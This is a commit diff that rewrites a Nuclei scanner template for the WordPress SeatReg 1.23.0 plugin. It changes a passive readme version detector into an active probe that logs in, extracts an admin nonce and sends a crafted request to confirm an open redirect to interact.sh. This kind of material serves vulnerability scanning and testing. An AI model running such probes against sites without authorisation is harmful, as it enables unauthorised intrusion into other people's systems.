fixed-template
parent
ef05cd90ed
commit
68416fdd66
|
@ -1,22 +1,53 @@
|
||||||
id: seatreg
|
id: seatreg-redirect
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: Seatreg Plugin Detector (Non Intrusive)
|
name: WordPress Plugin ‘SeatReg’ - Unauthenticated Open Redirect
|
||||||
author: Mariam Tariq
|
author: Mariam Tariq
|
||||||
severity: info
|
severity: medium
|
||||||
description: Seatreg Plugin Detector "Vulnerable Version 1.23.0"
|
description: |
|
||||||
|
WordPress SeatReg plugin version 1.23.0 suffers from an open redirection vulnerability.
|
||||||
|
reference:
|
||||||
|
- https://packetstormsecurity.com/files/167888/WordPress-SeatReg-1.23.0-Open-Redirect.html
|
||||||
|
metadata:
|
||||||
|
verified: "true"
|
||||||
|
tags: wpscan,wp-plugin,wp,wordpress,authenticated,redirect
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- raw:
|
||||||
path:
|
- |
|
||||||
- '{{BaseURL}}/wp-content/plugins/seatreg/readme.txt'
|
POST /wp-login.php HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
matchers-condition: and # execute both conditions then give the result
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
||||||
|
|
||||||
|
- |
|
||||||
|
GET /wp-admin/admin.php?page=seatreg-welcome HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
|
||||||
|
- |
|
||||||
|
POST /wp-admin/admin-post.php HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Origin: {{RootURL}}
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
new-registration-name=test&action=seatreg_create_submit&seatreg-admin-nonce={{seatreg-admin-nonce}}&_wp_http_referer=http://interact.sh&submit=Create+new+registration
|
||||||
|
|
||||||
|
cookie-reuse: true
|
||||||
|
req-condition: true
|
||||||
matchers:
|
matchers:
|
||||||
- type: word
|
- type: dsl
|
||||||
words:
|
dsl:
|
||||||
- "Stable tag: 1.23.0"
|
- contains(all_headers_2, "text/html")
|
||||||
|
- 'status_code_3 == 302'
|
||||||
|
- contains(header_3, 'http://interact.sh')
|
||||||
|
condition: and
|
||||||
|
|
||||||
- type: status
|
extractors:
|
||||||
status:
|
- type: regex
|
||||||
- 200
|
name: seatreg-admin-nonce
|
||||||
|
part: body
|
||||||
|
group: 1
|
||||||
|
regex:
|
||||||
|
- '"seatreg\-admin\-nonce" value="([0-9a-z]+)"'
|
||||||
|
internal: true
|
||||||
|
|
Loading…
Reference in New Issue